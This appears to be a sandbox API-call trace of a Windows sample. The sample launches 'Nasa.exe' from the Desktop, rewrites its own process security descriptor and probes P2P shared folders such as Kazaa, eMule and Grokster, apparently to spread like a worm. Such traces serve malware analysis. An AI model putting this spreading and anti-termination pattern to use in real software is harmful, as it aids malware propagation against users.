[0228.929] WriteFile (in: hFile=0x520, lpBuffer=0x26778a8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x26778a8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0229.013] WriteFile (in: hFile=0x520, lpBuffer=0x2678b80*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2678b80*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0229.083] WriteFile (in: hFile=0x520, lpBuffer=0x267b438*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x267b438*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0229.160] WriteFile (in: hFile=0x520, lpBuffer=0x267cf30*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x267cf30*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0229.268] WriteFile (in: hFile=0x520, lpBuffer=0x267f7f0*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x267f7f0*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0229.310] WriteFile (in: hFile=0x520, lpBuffer=0x2680ac8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2680ac8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0229.529] WriteFile (in: hFile=0x520, lpBuffer=0x2683468*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2683468*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0229.608] WriteFile (in: hFile=0x520, lpBuffer=0x2685d28*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2685d28*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0229.733] WriteFile (in: hFile=0x520, lpBuffer=0x2687b88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x2687b88*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0229.782] WriteFile (in: hFile=0x520, lpBuffer=0x268a440*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268a440*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0229.937] WriteFile (in: hFile=0x520, lpBuffer=0x268b720*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268b720*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0230.028] WriteFile (in: hFile=0x520, lpBuffer=0x268dfc8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268dfc8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0230.106] WriteFile (in: hFile=0x520, lpBuffer=0x268dfc8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268dfc8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0230.236] WriteFile (in: hFile=0x520, lpBuffer=0x268de98*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268de98*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0230.253] WriteFile (in: hFile=0x520, lpBuffer=0x268dfc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268dfc0*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0230.305] WriteFile (in: hFile=0x520, lpBuffer=0x268de98*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268de98*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0230.357] WriteFile (in: hFile=0x520, lpBuffer=0x268dfc8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268dfc8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0230.605] WriteFile (in: hFile=0x520, lpBuffer=0x268de98*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268de98*, lpNumberOfBytesWritten=0x2ed1c8*=0x10, lpOverlapped=0x0) returned 1
[0230.689] WriteFile (in: hFile=0x520, lpBuffer=0x268dfc8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268dfc8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0230.755] WriteFile (in: hFile=0x520, lpBuffer=0x268de98*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268de98*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0230.832] WriteFile (in: hFile=0x520, lpBuffer=0x268dfc8*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x268dfc8*, lpNumberOfBytesWritten=0x2ed1c8*=0x11, lpOverlapped=0x0) returned 1
[0231.051] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ed2e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0231.054] LocalAlloc (uFlags=0x0, uBytes=0x5e) returned 0x1ac10430
[0231.055] ShellExecuteExW (in: pExecInfo=0x282feb0*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop/Nasa.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x282feb0*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop/Nasa.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x1480)) returned 1
[0232.319] LocalFree (hMem=0x1ac10430) returned 0x0
[0234.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x120d8) returned 0x0
[0234.558] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x12128) returned 0x0
[0234.645] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x12128) returned 0x0
[0234.647] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x12128) returned 0x0
[0234.649] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x12128) returned 0x0
[0234.650] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x12128) returned 0x0
[0234.651] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x12128) returned 0x0
[0234.651] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x12128) returned 0x0
[0234.652] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x12128) returned 0x0
[0234.653] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x12128) returned 0x0
[0234.654] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x12128) returned 0x0
[0234.655] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x12128) returned 0x0
[0234.655] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x12128) returned 0x0
[0234.668] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x12128) returned 0x0
[0234.669] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x12128) returned 0x0
[0234.670] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x12128) returned 0x0
[0234.671] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x12128) returned 0x0
[0234.672] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x12128) returned 0x0
[0234.672] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x12128) returned 0x0
[0234.673] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x12128) returned 0x0
[0234.674] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x12128) returned 0x0
[0234.675] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x12128) returned 0x0
[0234.675] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x2ebc00 | out: SystemInformation=0x12599978, ResultLength=0x2ebc00*=0x12128) returned 0x0
[0235.840] GetCurrentProcess () returned 0xffffffffffffffff
[0235.967] GetKernelObjectSecurity (in: Handle=0xffffffffffffffff, RequestedInformation=0x4, pSecurityDescriptor=0x26f5d40, nLength=0x0, lpnLengthNeeded=0x2edbd8 | out: pSecurityDescriptor=0x26f5d40, lpnLengthNeeded=0x2edbd8) returned 0
[0235.967] GetKernelObjectSecurity (in: Handle=0xffffffffffffffff, RequestedInformation=0x4, pSecurityDescriptor=0x26f5dc0, nLength=0x64, lpnLengthNeeded=0x2edbd8 | out: pSecurityDescriptor=0x26f5dc0, lpnLengthNeeded=0x2edbd8) returned 1
[0236.045] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x26f7350, cbSid=0x2edb20 | out: pSid=0x26f7350*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x2edb20) returned 1
[0238.537] qsort (in: _Base=0x1b4e94, _NumOfElements=0x5, _SizeOfElements=0x8, _PtFuncCompare=0x7fef427e8e0 | out: _Base=0x1b4e94)
[0238.629] SetKernelObjectSecurity (Handle=0xffffffffffffffff, SecurityInformation=0x4, SecurityDescriptor=0x278a288) returned 1
[0238.646] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
[0238.649] ReadConsoleInputW (in: hConsoleInput=0x0, lpBuffer=0x2eda30, nLength=0x1, lpNumberOfEventsRead=0x2edb68 | out: lpBuffer=0x2eda30, lpNumberOfEventsRead=0x2edb68) returned 0
[0239.089] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1c830000
[0239.430] CoTaskMemAlloc (cb=0x20c) returned 0x1ac1c770
[0239.430] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x1ac1c770 | out: pszPath="C:\\Program Files") returned 0x0
[0239.438] CoTaskMemFree (pv=0x1ac1c770)
[0239.440] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x2ebb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10
[0239.935] VirtualQuery (in: lpAddress=0x7fe94019480, lpBuffer=0x2ebad0, dwLength=0x30 | out: lpBuffer=0x2ebad0*(BaseAddress=0x7fe94019000, AllocationBase=0x7fe94010000, AllocationProtect=0x1, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x40, Type=0x20000, __alignment2=0x0)) returned 0x30
[0239.956] qsort (in: _Base=0x1b3a08, _NumOfElements=0x4, _SizeOfElements=0x8, _PtFuncCompare=0x7fef42a06e0 | out: _Base=0x1b3a08)
[0240.173] CoTaskMemAlloc (cb=0x20c) returned 0x1ac1c770
[0240.173] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x1ac1c770 | out: pszPath="C:\\Program Files") returned 0x0
[0240.175] CoTaskMemFree (pv=0x1ac1c770)
[0240.176] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x2ebb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10
[0240.192] CoTaskMemAlloc (cb=0x20c) returned 0x1ac1c770
[0240.192] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x1ac1c770 | out: pszPath="C:\\Program Files") returned 0x0
[0240.192] CoTaskMemFree (pv=0x1ac1c770)
[0240.192] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x2ebb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10
[0240.200] CoTaskMemAlloc (cb=0x20c) returned 0x1ac1c770
[0240.200] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x1ac1c770 | out: pszPath="C:\\Program Files") returned 0x0
[0240.200] CoTaskMemFree (pv=0x1ac1c770)
[0240.200] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x2ebb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10
[0240.208] CoTaskMemAlloc (cb=0x20c) returned 0x1ac1c770
[0240.208] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x1ac1c770 | out: pszPath="C:\\Program Files") returned 0x0
[0240.208] CoTaskMemFree (pv=0x1ac1c770)
[0240.209] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x2ebb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10
[0240.216] CoTaskMemAlloc (cb=0x20c) returned 0x1ac1c770
[0240.216] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x1ac1c770 | out: pszPath="C:\\Program Files") returned 0x0
[0240.217] CoTaskMemFree (pv=0x1ac1c770)
[0240.217] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x2ebb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10
[0240.224] CoTaskMemAlloc (cb=0x20c) returned 0x1ac1c770
[0240.224] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x1ac1c770 | out: pszPath="C:\\Program Files") returned 0x0
[0240.224] CoTaskMemFree (pv=0x1ac1c770)
[0240.224] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x2ebb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10
[0240.230] CoTaskMemAlloc (cb=0x20c) returned 0x1ac1c770
[0240.230] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x1ac1c770 | out: pszPath="C:\\Program Files") returned 0x0
[0240.230] CoTaskMemFree (pv=0x1ac1c770)
[0240.230] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x2ebb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10
[0240.239] CoTaskMemAlloc (cb=0x20c) returned 0x1ac1c770
[0240.239] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x1ac1c770 | out: pszPath="C:\\Program Files") returned 0x0
[0240.239] CoTaskMemFree (pv=0x1ac1c770)
[0240.239] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x2ebb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10
[0240.247] CoTaskMemAlloc (cb=0x20c) returned 0x1ac1c770
[0240.247] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x1ac1c770 | out: pszPath="C:\\Program Files") returned 0x0
[0240.247] CoTaskMemFree (pv=0x1ac1c770)
[0240.247] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x2ebb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10
[0240.252] ResetEvent (hEvent=0x100) returned 1
[0240.266] RtlLookupFunctionEntry (in: ControlPc=0x7fef35d5863, ImageBase=0x2e91b8, HistoryTable=0x0 | out: ImageBase=0x2e91b8, HistoryTable=0x0) returned 0x7fef3e79bf0
[0240.277] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x1a590038, dwRegionSize=0x30fc8, lpAddresses=0x7fef3e63cb0, lpdwCount=0x2eaf78, lpdwGranularity=0x2eaf70 | out: lpAddresses=0x7fef3e63cb0*=0x1a590000, lpdwCount=0x2eaf78, lpdwGranularity=0x2eaf70) returned 0x0
[0240.294] CoTaskMemAlloc (cb=0x20c) returned 0x1ac1c770
[0240.294] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x1ac1c770 | out: pszPath="C:\\Program Files") returned 0x0
[0240.294] CoTaskMemFree (pv=0x1ac1c770)
[0240.294] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x2ebb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10
[0240.298] CoTaskMemAlloc (cb=0x20c) returned 0x1ac1c770
[0240.298] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x1ac1c770 | out: pszPath="C:\\Program Files") returned 0x0
[0240.298] CoTaskMemFree (pv=0x1ac1c770)
[0240.298] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x2ebb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10
[0240.301] CoTaskMemAlloc (cb=0x20c) returned 0x1ac1c770
[0240.301] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x1ac1c770 | out: pszPath="C:\\Program Files") returned 0x0
[0240.301] CoTaskMemFree (pv=0x1ac1c770)
[0240.301] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x2ebb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10
[0240.321] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Shareaza\\Downloads", nBufferLength=0x105, lpBuffer=0x2ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Shareaza\\Downloads", lpFilePart=0x0) returned 0x23
[0240.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec110) returned 1
[0240.322] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Shareaza\\Downloads" (normalized: "c:\\program files\\shareaza\\downloads"), fInfoLevelId=0x0, lpFileInformation=0x2ec1f0 | out: lpFileInformation=0x2ec1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0240.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ec0d0) returned 1
[0240.324] GetFullPathNameW (in: lpFileName="C:\\Program Files\\emule\\incoming\\", nBufferLength=0x105, lpBuffer=0x2ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\emule\\incoming\\", lpFilePart=0x0) returned 0x20
[0240.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec110) returned 1
[0240.325] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\emule\\incoming\\" (normalized: "c:\\program files\\emule\\incoming"), fInfoLevelId=0x0, lpFileInformation=0x2ec1f0 | out: lpFileInformation=0x2ec1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0240.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ec0d0) returned 1
[0240.325] GetFullPathNameW (in: lpFileName="C:\\Program Files\\kazaa\\my shared folder\\", nBufferLength=0x105, lpBuffer=0x2ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\kazaa\\my shared folder\\", lpFilePart=0x0) returned 0x28
[0240.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec110) returned 1
[0240.325] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\kazaa\\my shared folder\\" (normalized: "c:\\program files\\kazaa\\my shared folder"), fInfoLevelId=0x0, lpFileInformation=0x2ec1f0 | out: lpFileInformation=0x2ec1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0240.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ec0d0) returned 1
[0240.325] GetFullPathNameW (in: lpFileName="C:\\Program Files\\kazaa lite\\my shared folder\\", nBufferLength=0x105, lpBuffer=0x2ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\kazaa lite\\my shared folder\\", lpFilePart=0x0) returned 0x2d
[0240.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec110) returned 1
[0240.326] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\kazaa lite\\my shared folder\\" (normalized: "c:\\program files\\kazaa lite\\my shared folder"), fInfoLevelId=0x0, lpFileInformation=0x2ec1f0 | out: lpFileInformation=0x2ec1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0240.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ec0d0) returned 1
[0240.326] GetFullPathNameW (in: lpFileName="C:\\Program Files\\kazaa lite k++\\my shared folder\\", nBufferLength=0x105, lpBuffer=0x2ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\kazaa lite k++\\my shared folder\\", lpFilePart=0x0) returned 0x31
[0240.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec110) returned 1
[0240.327] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\kazaa lite k++\\my shared folder\\" (normalized: "c:\\program files\\kazaa lite k++\\my shared folder"), fInfoLevelId=0x0, lpFileInformation=0x2ec1f0 | out: lpFileInformation=0x2ec1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0240.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ec0d0) returned 1
[0240.327] GetFullPathNameW (in: lpFileName="C:\\Program Files\\icq\\shared folder\\", nBufferLength=0x105, lpBuffer=0x2ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\icq\\shared folder\\", lpFilePart=0x0) returned 0x23
[0240.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec110) returned 1
[0240.327] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\icq\\shared folder\\" (normalized: "c:\\program files\\icq\\shared folder"), fInfoLevelId=0x0, lpFileInformation=0x2ec1f0 | out: lpFileInformation=0x2ec1f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0240.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ec0d0) returned 1
[0240.328] GetFullPathNameW (in: lpFileName="C:\\Program Files\\grokster\\my grokster\\", nBufferLength=0x105, lpBuffer=0x2ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\grokster\\my grokster\\", lpFilePart=0x0) returned 0x26
[0240.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec110) returned 1
